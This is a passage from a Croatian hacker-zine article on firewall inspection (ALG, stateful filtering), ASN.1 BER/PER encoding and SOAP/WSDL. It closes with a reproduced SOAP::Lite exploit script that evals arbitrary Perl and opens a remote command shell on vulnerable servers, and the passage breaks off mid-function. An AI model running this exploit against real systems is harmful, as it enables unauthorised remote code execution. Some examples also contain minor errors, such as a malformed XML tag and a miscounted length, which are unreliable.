Copy Link
Add to Bookmark
Report
6x10 Payload parsing ASN.1 encode & SOAP
...................
...::: phearless zine #6 :::...
................>---[ Payload parsing/ASN.1 encode & SOAP ]---<..................
......................>---[ by h44rP a.k.a. Laufer ]---<.........................
haarp@phearless.org
[0x01] The Imploding voice
[0x02] ALG: the SIP B2BUA, easy filter & full INSPECT
<0x02a> Oldboy payload influence
<0x02b> SPF firewall integration & divine scent
[0x03] ASN.1 encoding mess-up; BER vs. PER; + XER
<0x03a> A simple touch
<0x03b> BER/PER taken shots
[0x04] WSDL, SOAP XML exposing
<0x04a> Schemes behind the scenes (WSDL)
<0x04b> SOAP header details
<0x04c> 1.1/1.2 version horizons
<0x04d> SOAP::Lite Perl (Another lays a dozen)
[0x05] Exploding echoes
///////////////////////////////////////////////////////////////////////////
-----> 0x01 The imploding Voice
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Ovaj put cu pokusati teoretski objasniti neke stvari.. nece puno biti
prakticnog dijela.. prvenstveno jer nisam imao vremena koje bih mogao
posvetiti nekom prevelikom razmisljanju, kodiranju i testiranju kako zbog
nekih obveza u pocetku tako i zbog nekih prokletih bolestina kasnije pa cu evo
pokusati kroz pricu pomoci nekom da shvati neke malo naprednije stvari, sto su
kako rade i kako ih iskoristiti, a ujedno pomoci i shatteru da imamo veci broj
tekstova za tekuci broj.. haha :) zez.. Neznam dal ce sve ispasti razumljivo..
shvatite da pisem pod temperaturom.. lekadol mi je spusti ali mi se sama
odmah vrati na 39 pa ako bude gresaka, nebuloza, gluposti, vrijedjanja etc.
molim da mi se ne zamjeri. :) barem ne previse. :) Nekako sam knjizevno
nastrojen dok me ova bolest drzi pa mozda koncept ode u qrac.. :) Planiram
mozda napravit kao tri pricice o nekim tehnologijama, potpuno odvojeno
pojasnjene ali ipak nekako indirektno medjusobno povezane.. :)
Kazem.. pokusat cu ovo malo prepricati iz svog aspekta odnosno saznanja i
pomoci razjasniti neke od ovih stvari kako treba jer je literatura jako
stura i tesko dostupna ako nas zanimaju detalji pa se nadam da nece biti
problema shvatiti o cemu pricam i kako spomenute stvari funkcioniraju..
Kroz slijedece brojeve kada ce me nadam se iskreno i zdravlje valjda malo
bolje sluziti cu skodirati i testirati neke stvari vezane s ovom temom da
bi sve to bolje i razumljivije sjelo i pokazalo se u praksi.. Dosta puta
cete vjerojatno naici na ubaceni neki kratki src ili vizualni primjer koji
vas mozda omete ili se ucini naizgled kao potpuna digresija no cesto mi padne
na pamet da bi bilo dobro ubaciti neki snippet kako bi vecina skuzila lakse
o cemu se radi odnosno o cemu se direktno prica u odredjenim djelovima..
Vecina stvari je povezana.. negdje ce doci vjerojatno do neke manje digresije,
neke stvari su potpuno distancirane i nevezane ali svejedno bitno je da
shvatite malo neke pojmove i pojave unutar samih mreznih komunikacija kako
bi vam bilo lakse se pozabaviti nekim napredinijim testiranjem i kodiranjem
raznoraznih korisnih stvari... Dosta s pricom.. Vrijeme je da probam nesto
korisno i napisati dok josh mogu svjesno sjediti i razmisljati...
///////////////////////////////////////////////////////////////////////////
-----> 0x02 ALG: the SIP B2BUA, easy filter & full INSPECT
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
--==<[ 0x02a Oldboy payload influence
\____________________________________________/
Na pocetku sam odlucio pojasniti ALG i neke njemu svojstvene stvari.
Dvojbeno je otkud poceti u ovako koncipiranom dokumentu ali valjda ce sve skupa
imati smisla i nekakvu kronologiju. Dakle ALG odnosno Application Layer Gateway
jest SIP "back to back user agent". Sto bi to znacilo. Pa recimo prvo nesto o
SIP-u i razlici izmedju stateful i stateless filtriranja paketa. SIP odnosno
Session Initiation Protocol jest IETF-ov protokol za incijalizaciju, modifici-
ranje i terminaciju interaktivne korisnicke sesije. On je prakticki peer2peer
protokol zbog proxy elemenata te je jednostavan aplikacijski protokol koji se
najcesce koristi kod koristenja multimedijalnih elemenata u komunikaciji. No,
vratimo se mi na filtriranje. Razlike izmedju packet inspektora bez statusa te
stateful metode prilicno je jednostavna. Svaki bezstatusni firewall ima
problema zbog nemogucnosti provjeravanja payloada prilikom usmjeravanja paketa.
U proslom sam tekstu takodjer indirektno spominjao ove stvari kod NAT-a. Dakle
prilikom primanja paketa na temelju konfiguracije se utvrdjuje validnost
propustanja odredjene konekcije. jasno da bi razumijeli jasno sve morate znati
tocnu strukturu i nacin kreiranja samog paketa u njegovom izvornom obliku..
slozite si par sniffera s pcap pa se igrajte malo.. znaci..
+
|---------------------------------------------------------|
|SRC:addr|DST:addr|SRC:port|DST:port|App payload / IP,port|
|---------------------------------------------------------|
+
zanimljiv primjer analize:
> > 00:44:36.309866 arp who-has 192.168.5.254 tell 192.168.5.164
> > 0x0000 0001 0800 0604 0001 00c0 9f20 d3cd c0a8 ................
> > 0x0010 05a4 0000 0000 0000 c0a8 05fe 4d2d 5345 ............M-SE
> > 0x0020 4152 4348 202a 2048 5454 502f 312e ARCH.*.HTTP/1.
0x0001 = ARP hardware type = ethernet
0x0800 = ARP protocol type = 0x0800 indicira ARP za IP adrese
0x06 = ARP hardware address size - sest za eternet MAC
0x04 = ARP protocol address size - cetiri za IP adresu...
0x0001 = ARP operation: 1 = arp REQUEST.
ili recimo jedan potpuno drukciji koncept. evo jedan ethernet primjer.
znaci, svaki header etherneta iznosi 14 bytova; (snippet pcap sniffera):
----- code -----
#define SIZE 14
const struct sniff_ethernet *ethernet; /* ethernet header */
const struct sniff_ip *ip; /* IP header */
const struct sniff_tcp *tcp; /* TCP header */
const char *payload; /* payload paketa */
u_int size_ip;
u_int size_tcp;
ethernet = (struct sniff_ethernet*)(packet);
ip = (struct sniff_ip*)(packet + SIZE);
size_ip = IP_HL(ip)*4;
if (size_ip < 20) {
printf(" * Invalid IP header length: %u bytes\n", size_ip);
return;
}
tcp = (struct sniff_tcp*)(packet + SIZE + size_ip);
size_tcp = TH_OFF(tcp)*4;
if (size_tcp < 20) {
printf(" * Invalid TCP header length: %u bytes\n", size_tcp);
return;
}
payload = (u_char *)(packet + SIZE + size_ip + size_tcp);
----- /code -----
ne obazirite se previse ako vam je nesh nejasno.. htio sam samo da ako vec
je teze vizualno barem ovako vidite sam princip.. inace ovo je dobar primjer
za adresiranje i memoriranje kod pointanja u ovakvim situacijama... recimo za
primjer odozgo: tip* ('lok' stoji za "lokacija" bzvze..)
-----------------------------------------------
Varijabla | Lokacija (byte)
--------------------|--------------------------
sniff_ethernet | lok_1
--------------------|--------------------------
sniff_ip | lok_1+SIZE
--------------------|--------------------------
sniff_tcp | lok_1+SIZE+{velicina IP headera}
--------------------|------------------------------------
payload | lok_1+SIZE+{velicina IP headera}+{velicina TCP header}
-------------------------------------------------------------------------------
Oni bezstatusni su u mogucnosti provjeriti iz zaglavlja tip protokola, adresu,
brojeve fragmenata te portove. Kao sto je samo po sebi jasno kod filtriranja
tipom protokola ogranicavamo odredjeni protokol (UDP/TCP/ICMP...) ali iznimno
cesto nismo u mogucnosti da obavljamo ovako velika limitiranja jer uvijek ce
nam neki servis traziti neki od osnovnih protokola kako bi bio u mogucnosti
potpuno funkcionirati. Filtriranjem ip adresa jasno je isto tako da mozemo bez
vecih problema ograniciti odredjene src adrese da nam pristupaju na odredjene
hostove. Onemogucavanjem odredjenih portova ogranicavamo pristupe na servise
koje nash firewall stiti i koje zelimo ostaviti nedostupnima. Znaci sve ono sto
moze pruziti nekakav sigurnosni rizik u mogucnosti smo potpuno onemoguciti.
Dakle i sami ste zakljucili o cemu se ovdje radi. Primjer je obican proxy
server recimo za http. On dozvoljava samo uspostavljanje konekcija na http
portu (80,8080..) i samo njih routa van na odredisne hostove s izmjenjenim
headerima, ovisno o tipu proxy-a. Fragmentacija je takodjer bitan segment samog
routanja i to u smislu routanja paketa koji imaju prevelike okvire. Routeri
imaju mogucnost fragmentiranja tj. sjeckanja paketa na manje kako bi ih mogao
dostaviti odredisnoj mrezi koja nakon primitka vraca sve u originalnu velicinu.
Problem koji nam se ovdje javlja jest taj sto kod fragmentiranja kasnijih
kronoloskih fragmenata koji nam ne nude port komunikacije pa ih stoga nije ni
moguce fragmentirati pa su u slucaju odbacivanja nultog fragmenta beskorisni.
Kao sto sam i spomenuo kod stateless filtriranja jest problem sto je nemoguce
kontrolirati payload kao ni kontrola stanja konekcije koju posjeduju stateful
packet inspektori. Kontroliranje sigurnosti ovim nacinom je u jednu ruku i
dosta nepouzdano. Recimo da imate regulacijsku kontrolu stateless nacinom
filtriranja i imate 80 port dozvoljen. Vrlo lako se moze integrirati kakav
serv-cli program koji mozemo ubaciti u http kroz activeX kontrole i sl.
Takodjer je nemoguce da se odredi kada se povratna konekcija odnosi na
uspostavljenu konekciju sa druge mreze i sl.
--==<[ 0x02b SPF firewall integration & divine scent
\______________________________________________/
E pa sad. Posto je o stateless filtriranju mnogo toga odavno receno i sve je
potpuno jednostavno ja sam se ovdje odlucio vise napisati o stateful nacinu
inspekcije. Kao sto se iz naslova dvaju sekcija vidi odlucio sam iznijeti svoje
stajaliste o aplikacijskom layer gateway filtru te cistom statefull paket
filtriranju. Stoga se vratimo na ALG inspekciju sa pocetka price i
razjasnimo neke stvari. Aplikacijski gateway, ako ga znamo kvalitetno
konfigurirati je vjerojatno dovoljno rjesenje koje si mozemo priustiti. Pa
vjerojatno se pitate po cemu su oni toliko specificni. Pa kao sto samo ime kaze
oni potpuno fukcioniraju na "Application" sloju mreznog OSI modela te nam
omogucava enormno vecu kontrolu prometa koji zelimo kontrolirati prilikom
njegova prolaska kroz nash subnet.
Aplikacijski gateway zapravo kreira dvije konekcije: jednu sa odredisnim
strojem s vanjske strane gateway-a te zasebnu konekciju s nekom internom
mashinom koja komunicira s externim hostom. Takodjer je moguce koristiti
autentifikaciju iz internog subneta na gateway prilikom uspostavljanja sesije.
Velika prednost stateful inspekcije jest daje mogucnost kreiranja takvih
virtualnih sesija za pracenje connectionless prokola kao sto je recimo RPC!
Dakle recimo jedan primjer.. koristenjem i analizom aplikacijske komunikacije
vidjet cete da dolazi do razlika kako odredjeni firewalli reagiraju odnosno
mogucnosti koje pruzaju i uspjesno implementiraju u radu.. bitno je da
razlikujete obicne paket filtre koje sam vec gore spominjao, zatim ALG
princip.. te potpuni Stateful nacin filtriranja paketa.. Cak i ALG samostalno
nije uvijek u mogucnosti potpuno sve omoguciti odnosno kontrolirati sve
segmente same komunikacije...
evo pokusati cu sada generalizirati i pojasniti jedan primjer cistog stateful
nacina inspekcije kakve koriste odredjene firewall tehnologije koje je
prvenstveno implementiraju znaci na gateway-e u svrhu obostrane regulacije..
takav engine se naravno load-a u kernel samog gateway-a .. specificno je da
on staje izmedju 2 i 3 layera odnosno Data Link i Network lejera. znamo da je
data link zapravo NIC layer a network nam donosi IP.. znaci. ispitujuci ovaj
dio presrecu se apsolutno svi paketi na svim interfejsovima i niti jedan
paket nije proslijedjen preko niti jednog viseg hijerarhijskog layera bez
obzira koji protokol i aplikaciju paket koristi. ovo sam vidio da je INSPECT
dobro primjenio..
primjer:
____________
SERVER |_APLIKACIJ._| __ KLIJENT
| |_PREZENTAC._| |
----- |___SESSION__| __|_
| # | |_TRANSPORT__| | |
| # | | __MREZNI___| _|_PC_|_
| # |------------|<|###ENGINE###|>|----------------|________|
| # | | |__DATALINK__| |
----- | |__FIZICKI___| |----|
_________ | | ___________
|DINAMICKE|<---| |--> |SEC. POLICY|
|TABLICE STANJA| |___BASE____|
|--------------|
Krenimo prvo od obicnog znaci packet filtra. dakle od davnih vremena se
koriste i zapravo ih oduvijek implementiramo na routere i filtriramo
promet preko IP adresa i sl. znaci.. oni funkcioniraju kako sam i rekao
analizirajuci mrezni sloj i neovisni su o aplikaciji sto ih cini brzima.
no dakako jasno je da je ovakva vrsta sigurnosti smijesna.. recimo da
morate pustiti ili zatvoriti dinamicke portove.. znaci >1024 i sta.. znaci
radit ce tone toga i dostupnost svakakvih servisa ce biti omogucena.
ALG.. alg vec kao sto mu i samo ime kaze radi sa aplikacijskim slojem..
kako? spomenuo sam da se kreiraju dvije konekcije.. sa klijenta na gw tj.
na firewall te ona sa gatewaya tj firewalla na odrediste.. tj recimo neki
posluzitelj. iz svega skupa je jasno da je zapravo sve ovo nekako sporo tj.
sama cinjenica da svaki servis potrebuje prakticki svoj proxy cini i sam ALG
ponekad nedovoljnim zbog losijih performansi a isto tako limitirane liste
aplikacija.
Zato dolazi potpuni stateful inspection.. kako sam reko.. paket se presrece
na mreznom sloju ali tada sve preuzima engine.. extrakira se state info za
pravila sa svih app layera i cuva ih u dynamic state table.. odnosno kako sam
gore naskrabao u dinamickoj tablici stanja.. znaci ukoliko niste sve potpuno
shvatili.. o ovome sam pricao i prije.. ovdje je sada moguce sve.. nema vishe
sranja oko povratne veze... nema vishe zajebancije koristenjem aktivnog/pasv
ftp-a i tako dalje. cita se i najmanji segment paketa, pregledavaju se svi
njegovi djelovi bitni za session i otvaraju odredjeni portovi koje zahtjeva
komunikacija koja je uspostavljena.. odmah nakon prestanka komunikacije svi se
portovi po potrebi zatvaraju i osiguravaju.. e sad.. ajmo malo na taj payload
odnosno generalno na enkodanje..
///////////////////////////////////////////////////////////////////////////
-----> 0x03 ASN.1 encoding mess-up; BER vs. PER; + XER
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
--==<[ 0x03a A simple touch
\____________________________________________/
Sto je ASN.1? ASN sto stoji za Abstract Syntax Notation.One se moze
u biti objasniti kao jezik za prikazivanje sutrukturiranih informacija
uglavnom namjeravanih trasportiranju putem nekog prijenosnog medija. Zapravo
je standardiziran i ucestalo koristen a u biti je jako malo prave dokumentacije
koja bi nam mogla nesto vise o njemu reci. Znaci primarno je bilo putem njega
poruku bitovati/bajtovati u protokol. Zapravo on dolazi na svoje kada je
poruka koja se mora kodirati prilicno kompleksna. To je prvenstveno jer on sam
dozvoljava i omogucava da se naprave kompleksne strukture.. Kao sto sam rekao
koristi se da bi se definirali podaci omogucavajuci podesavanje parametara u
protokolu bez brige oko nacina encodinga za transmisiju. razvojna faza:
ASN definicije------->ASN.1 kompajler----->npr. "C" strukture
|
|--------> enkoder/dekoder
Davajuci zapravo opis poruke njena prezentacija se zapravo mijenja u odnosu na
postavljena pravila enkodiranja. BER odnosno Basic Encoding Rules jest
standardiziran u tu svrhu i pridruzen direktno ASN.1. Naknadno su dodana josh
dva enkoding pravila.. to su CER tj. C(anonical)ER te D(istinguished)ER.. dakle
oni su subseti BER-a..
Pretpostavljam da nije sve bash najjasnije do sada u ovom dijelu pa cu probati
malo usporiti i ipak ukljuciti jedan praktican dio... dakle recimo ovako..
znamo otprije za payload i sto se u njemu nalazi.. znaci.. taj payload mora
nekako biti predstavljen kao dio samog paketa i mora se nekako sama poruka
koja se nalazi u payloadu prilagoditi samom paketu i integrirati se u tom
njegovom dijelu... prisjetimo se samog koncepta paketa:
|---------------------------------------------------------|
|SRC:addr|DST:addr|SRC:port|DST:port|App payload / IP,port|
|---------------------------------------------------------|
Dakle asn.1 je notacija za prikazivanje data struktura.. slicno kao deklaracija
kod C/Cpp-a.. U jebem mu.. u sta se ja uvaljujem bzvze... arghhh... ovako.
imate neku poruku.. koja se moze razlikovati naravno u mnogo pogleda.. i sad
je morate enkodati kako biste je mogli prebaciti nekamo i na destinaciji cete
je dekodirati.. znaci klasican koder/dekoder.. to je u jednom pogledu zapravo
sam asn.1...
--==<[ 0x03b BER/PER taken shots
\____________________________________________/
evo neki obican primjer GET requesta...
------ [code] ------
struct GetRequest {
int headerOnly; // flag: zelimo li samo header?
int lock; // flag: zelimo li provjeriti objekat?
string url; // URL za fetch
AcceptTypes* acceptTypes; // opcionalna lista prihvatljivih tipova
};
struct AcceptTypes {
List<bitset>* standardTypes; // lista bitmapa
List<string>* otherTypes; // nestandardni tipovi
};
GetRequest ::= [APPLICATION 0] IMPLICIT SEQUENCE {
headerOnly BOOLEAN,
lock BOOLEAN,
acceptTypes AcceptTypes OPTIONAL
url OCTET STRING,
}
AcceptTypes ::= [APPLICATION 1] IMPLICIT SEQUENCE {
standardTypes [0] IMPLICIT SEQUENCE OF BIT STRING
{html(0),plain-text(1),gif(2), jpeg(3)} OPTIONAL,
otherTypes [1] IMPLICIT SEQUENCE OF OCTET STRING OPTIONAL
}
encoding primjer:
(GetRequest
:headerOnly TRUE
:lock FALSE
:acceptTypes (AcceptTypes
:standardTypes ((html)
(plain-text)))
:url "/ses/magic/moxen.html.html")
BER je original koji ide sa ASN.1-com.. i pretvara sve u nizove bitova i
bajtova.. ber koristi tzv. tagLengthValue.. Svaki je element encodan kao
tag, idicirajuci koji je tip, velicinu, i vrijednost tj. value koja je
zapravo sadzraj samog objekta. Najjednostavniji tagovi zapravo se sastoje
od jednog byta.. prva dva bita indiciraju klasu, slijedeci bit je flag koji
govori o tipu, a ostalih 5 su tag broj. Ako je prevelik onda se pisu sve
jedinice i tag se predstavlja u iducim bitovima. jedan bit se takodjer
postavlja na "1" ako je dulje i na "0" ako stane u 7 bitova koji su u ovom
slucaju mu na raspolaganju.
primjer enkodanja od gore primjenjujuci BER:
0x60 -- [0110|0000], [APPLICATION 0, Compound] - GetRequest
0x80 -- [1000|0000], Indefinite length
0x01 -- [0000|0001], [BOOLEAN] GetRequest.headerOnly
0x01 -- [0000|0001], length 1
0x01 -- [0000|0001], value TRUE
0x01 -- [0000|0001], [BOOLEAN] GetRequest.lock
0x01 -- [0000|0001], length 1
0x00 -- [0000|0000] value FALSE
0x61 -- [0110|0001], [APPLICATION 1, Compound] - GetRequest.types
0x80 -- indefinite length
0xa0 -- [1010|0000], [CONTEXT 0, Compound] types.standardTypes
0x80 -- indefinite length
0x03 -- [0000|0011] [BIT STRING]
0x02 -- length 2
0x04 -- Four bits unused
0x80 -- [1000|0000] {html}
0x03 -- [0000|0011] [BIT STRING]
0x02 -- length 2
0x04 -- Four bits unused
0x40 -- [0100|0000] {plain-text}
0x00
0x00 -- End of list of standard Types
0x00
0x00 -- End of Accept Types
0x04 -- [0000|0100], [OCTET STRING] GetRequest.url
0x16 -- [0001|0110], length 22
[/ses/magic/moxen.html.html] -- value
0x00
0x00 -- End of get request
e sad... znaci za toliki url on je rjesio sa 50 bytova.. znaci BER..
ajmo sad vidjeti kako ce to rjesiti PER.. on je u biti packet encoding rule
i koristi dosta drukcije kodiranje od BER-a. cilj PER-a je da bude sto
kompaktniji i to mu je potpuno uspjelo.. kodiranje se tretira kao string bitova
dopustajuci booleu i obicnim integerima ulazak zajedno u jedan bajt...
evo primjer iste stvari s PER-om:
[1] -- flag bit indicates acceptTypes is present
[1] -- boolean, header only, TRUE
[0] -- boolean, lock, FALSE
[1] -- flag bit, indicates standardTypes is present
[0] -- flag bit, indicates otherTypes is absent
[000] -- pad bits to make length octet aligned
[00000010] -- length of 2, -- 2 standardType bit strings to follow
[1000] -- the first bit string, html is set
[0100] -- the second bit string, plain-text is set
[00010110] -- length 22; url is 22 octets long
/ses/magic/moxen.html -- value of url
[total size is 26, 22 url]
u ovom je slucaju preko njega doslo 26 sto je znatna razlika... razlika
je gotovo dvostruka, a da je koristen manji url bila bi i znatno veca razlika!
Ajmo to pokusati jos jednostavnije srociti.. gledajte.. imate recimo neku
vrijednost koji treba izraziti integerom.. recimo varijabla (0...7) znaci.
recimo da je vrijdnost 6. BER ce to uciniti ovako:
BER:
APP no. 1---------02 01 06----------APP no. 2
| | |
| | |__ vrijednost ---|
| |_____ velicina ---|- 24bita
|_________ tag ---|
a pogledajte sad u istom primjeru kako ce to PER rjesiti:
APP no. 1---------1 1 0----------APP no. 2
|_|_|
|_____ 3 bita
dakle nema tagova a sam nacin prezentacije encoda je znatno optimalniji od
prethodnog. naravno jasno nam je kako ce XML encoding odnosno xER to uciniti.
to bi bilo npr. <var>6</var> sto bi bilo oko 12 sto je i 12 okteta ukupno..
///////////////////////////////////////////////////////////////////////////
-----> 0x04 WSDL, SOAP XML exposing
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
--==<[ 0x04a Schemes behind the scenes (WSDL)
\____________________________________________/
SOAP odnosno "Simple Object Access Protocol" jest jednostavan
protokol za razmjenu informacija, odnosno poruka u nekom distribuiranom
okruzenju. Baziran je na XML-u a sastoji se od tri osnovna dijela.. soap
envelope-a koji definira framework za opisivanje poruke odnosno njenog
sadrzaja i njenog procesuiranja, zatim pravila za encoding, i convension-a
za reprezentiranje i odgovora na RPC-ove. soap se moze koristiti zajedno sa
velikim brojem protokola no njegova najcesca primjena jest preko HTTP-a.
naravno http app's po rfc-u moraju koristiti html/xml u http message-ima..
No, krenimo otpocetka.. odnosno od samih web servisa.. prvo prepostavljam
da ste culi dosta o WSDL-u.. tj. Web Services Description Language-u.
###Directory###<_______<_____ /--###Dir. QUERY's###
Service / \ \-/ (takodjer SOAP)
description--/------SOAP-------\-query reply|
(WSDL) / | \ preko |
/ | \ WSDL-a |
/ XML request(WSDL) \ |
###Provider###-----------------------###Korisnik###
|___>____XML odgovor(WSDL)_____>___|
dakle.. neki servis ima directory opis published.. recimo npr. UDDI.. nisu
naravno iskljucene ni druge vrste directory-a.. zatim korisnik salje query-e
direktoriju da locira servis i utvrdi pravila odnosno nacin kako ce s njime
komunicirati. dio provide-anog wsdl-a se daje korisniku kojim mu se govori
kakav requesti i odgovori odgovaraju service provideru. zatim korisnik
naravno salje request preko wsdl-a providerui te ovaj daje odgovarajuci
odgovor. znaci sve ove poruke gore se salju koriste upravo SOAP! dakle jasno
vam je da on omogucuje slanje web service poruka. dakle jednostavnije soap
je skup xml dokumenata konstruiranih po soap specifikacijama. stvarni primjer:
znaci.. klijent moze recimo poslati soap doc. http-om web serveru na kojem je
naravno web servis koji recimo u ovom slucaju daje informacije o korisnickim
racunima:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<SendAccountBalance>
<accountNumber xsi:type="xsd:int">12345678</accountNumber>
</SendAccountBalance>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
zatim naravno web servis eventualno odgovara:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<AccountBalanceResponse>
<accountNumber xsi:type="xsd:int">12345678</accountNumber>
<accountBalance xsi:type="xsd:decimal">932.73</accountBalance>
<ResponseDateTime xsi:type="xsd:datetime">2005-06-15T11:21:00-06:00
</ResponseDateTime>
<AccountBalanceResponse>
/SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Dakle sto vidimo iz ovog jednostavnog primjera.. klijent salje jednostavan
zahtjev za stanjem nekog racuna odredjenog korisnika.. sto se jasno vidi
iz soap message-a.. zatim mu servis odgovara soap-om jerdnostavim reply-om
u kojem navodi stanje za odredjeni upit te isto tako biljezi i salje vrijeme
odnosno datum zatrazivanja odredjene operacije odnosno stanja..
SOAP envelope element je osnovni element SOAP poruke te definira XML dokument
kao soap poruku.
u c-u bi recimo takav jednostavan request izgledao kao:
SendAccountBalance(int accountNumber)
--==<[ 0x04b SOAP header details
\____________________________________________/
takodjer je bitan sam soap header koji sadrzi specificne informacije aplikacije
kao sto su auth itd. primjer:
<soap:Header>
<m:Trans
xmlns:m="URL"
soap:mustUnderstand="1">5</m:Trans>
</soap:Header>
ono sto prvo upada u oko jest "trans" element te 'mustunderstand' koji je u
ovom primjeru potvrdan odnosno ima vrijednost "1"; isto tako naravno regularna
vrijednost "5". tri su atributa koja definira soap.. uz ovaj koji se prisutan
gore u navedenom primjeru "mustunderstand" josh imamo "encodingstyle" te
"actor". ovi atributi zapravo pomazu odnosno govore primatelju kako ce se
procesuirati same soap poruke. znaci o cemu se radi.. krenimo po redu:
"mustunderstand"
dakle ovaj atribut sluzi da kaze primatelju dali se moze sam header zaobici
odnosno ignorirati ili je obavezan za procesuiranje. dakle mogucnosti su
'0' i '1'.. ako se u nekom slucaju daje ="1" tada se indicira da primatelj
procesuira header i prepozna element. ako se element ne prepozna tada sama
analiza headera moze proci neuspjesno.
"actor"
actor atribut je takodjer jednostavan i logican te sluzi za adresiranje
neke usputne adrese na pathu odnosno stazi puta samog paketa.. primer:
neki dio soap poruke nije namijenjen pravom odredistu tocnije onom doslovno
kranjem racunalu nego taj specificni dio mora ostati na jednoj adresi kojom
prolazi na svojem path-u te to odrediste definiramo upravo ovim atributom..
primjer:
<soap:Header>
<m:Trans xmlns:m="URL_DEST" soap:actor="URL">5</m:Trans>
</soap:Header>
"encodingstyle"
ovaj atribut sluzi za definiranje vrste podataka u dokumentu.. po defaultu
soap poruka nema encodinga..
<?xml version="1.0"?>
<soap:Envelope
xmlns:soap="URL"
soap:encodingStyle="URL">
...
info poruke
...
</soap:Envelope>
--==<[ 0x04c 1.1/1.2 version horizons
\____________________________________________/
izmedju odvih dvaju verzija ubacene su odredjene promjene koje su u mnogocemu
promijenile neke manje segmente.. krenimo od pocetka.. 1.1 verzija kako ste
i sami prmijetili dozvoljavala je dodatne elemente iza body elementa.. dok
1.2 verzija to ne dozvoljava.
<e:Envelope ...>
<e:Header>
</e:Header>
<e:Body>
Body
</e:Body>
</e:Envelope>
dakle u ovom 1.2 ver primjeru nema dodatnih elemenata nakon body dijela..
actor atribut se u drugoj verziji naziva "role" ali je princip i smisao
ostao prilicno isti.
takodjer se javljaju novi fault kodovi u 1.2 verziji:
"DTDNotSupported" - poruka sadrzi type deklaraciju
"DataEncodingUnknown" - nepoznat encoding style
isto tako kod 1.1 moguce je produziti fault koristeci "." dok kod 1.2 nije
te je doslo takodjer do promjene kod 'misunderstood' faulta odnosno njegovog
headera za report.
znacajno je izmjenjen i dio za multireference vrijednost.. odnosno u 1.2 ih
je moguce potpuno integrirati u odredjeni dio dok je kod 1.1 to moguce samo
da ih se ukljuci naknadno. isto tako neke razlike u encodingu:
SOAP 1.1 SOAP 1.2
Attribute href ref
Type uri-reference IDREF
arrayevi su se takodjer nesto izmijenili.. tako vise nema arrayType nego je
zamijenjen "ItemType" i "ArraySize" atributima. npr:
<num enc:arrayType="xs:int[5]"> kod 1.1 te:
<num enc:itemType="xs:int" enc:arraySize="5">
to su neke od osnovnih razlika.. isto tako RPC error subcode je dodan u 1.2
verziji kao "ProcedureNotPresent" i "BadArguments" kao i imenovanje povratnih
rpc vrijednosti.. sve u svemu nije prisutno nekih iznimno drasticnih promjena..
--==<[ 0x04d SOAP::Lite Perl (Another lays a dozen)
\_____________________________________________/
soap:lite za perl je u biti skup modula koji omogucuju jednostavan i lagan
interfejs za sam SOAP. i na klijent i na server strani komunikacije..
install bez root privilegija:
----------------------------
# perl -MCPAN -e shell
> o conf make_arg -I~/lib
> o conf make_install_arg -I~/lib
> o conf makepl_arg LIB=~/lib PREFIX=~ INSTALLMAN1DIR=~/man/man1
INSTALLMAN3DIR=~/man/man3
> install SOAP::Lite
----------------------------
primjer klijenta:
----------------------------
#!perl -w
use SOAP::Lite;
print SOAP::Lite
-> proxy('http/tcp...') ====> adresa prihvacanja poziva ovisno o serveru
-> uri('URI element') ====> pomaze serveru u rukovanju zadanim requestom
-> blah() ====> ime pristupa i njegovi parametri
-> result;
----------------------------
prakticki sam SOAP implementira veliku funkcionalnost za web-servise te je po
meni najbolja podrska perlu te se u vrlo malo koda moze odraditi dobra service
izgradnja... zadnja je verzija 0.67.. sam kod zna biti prilicno kompliciran za
modificiranje i slicne stvari.. sve u svemu je jako zanimljivo pogotovo kada se
malo vise udje u same, stvarne, mogucnosti svega skupa..
kako nista tako ni ove stvari nisu savrsene pa su se tokom godina malo jasnije
poceli isticati neki problemi... josh pred neko vrijeme je objavljen propust
u SOAP::Lite modulu.. o cemu se ovdje radilo?:
bug je zapravo dozvoljavao svakom SOAP::Lite klijentu da poziva Perl
subrutine kao klase/objekte metode na strani SOAP::Lite servera..
premda je propust pokrpan u verzijama koje su uslijedile jako je zanimljiv..
--------[code]--------
#!/usr/bin/perl -w
# Copyright (c) 2002 by Ilya Martynov. All rights reserved.
use strict;
use SOAP::Lite;
use Term::ReadLine;
my($uri, $proxy) = @ARGV;
unless(defined $proxy) {
die "Usage: $0 URI PROXY\n";
}
my $soap = connect_soap($uri, $proxy);
shell($soap);
# returns soap object
sub connect_soap {
my $uri = shift;
my $proxy = shift;
my $soap = SOAP::Lite
-> uri($uri)
-> proxy($proxy);
return $soap;
}
# evals any Perl code on side of SOAP::Lite based server
sub remote_eval {
my $soap = shift;
my $expr = shift;
# escape Perl expression
$expr = escape_single_quoted($expr);
# code to run on side of SOAP::Lite server
my $code = <<CODE;
{
# make sure exploit works in tainted mode
local \%ENV = \%ENV;
(\$ENV{PATH}) = \$ENV{PATH} =~ /(.*)/;
delete \@ENV{qw(IFS CDPATH ENV BASH_ENV)};
# evaluate Perl code
my \$ret = eval '$expr';
# catch errors
if(\$\@) { \$ret = \$\@ }
# put result into array which will be returned to SOAP client
\$pointer->[0] = \$ret;
}
1
CODE
my @params = ([], $code, '[1]');
my $som = $soap->call('X:SOAP::SOM::_traverse' => @params);
return $som->result->[0];
}
# simple pseudo shell which allows to execute commands on side of
# SOAP::Lite based server
sub shell {
my $soap = shift;
my $term = new Term::ReadLine 'SOAP::Lite remote shell';
my $OUT = $term->OUT || \*STDOUT;
while (defined (my $cmd = $term->readline('> ')) ) {
chomp $cmd;
my $cmd = escape_single_quoted($cmd);
print $OUT remote_eval($soap, "qx'$cmd'");
$term->addhistory($cmd) if $cmd =~ /\S/;
}
}
# escapes string which is going to be used as single quoted string
sub escape_single_quoted {
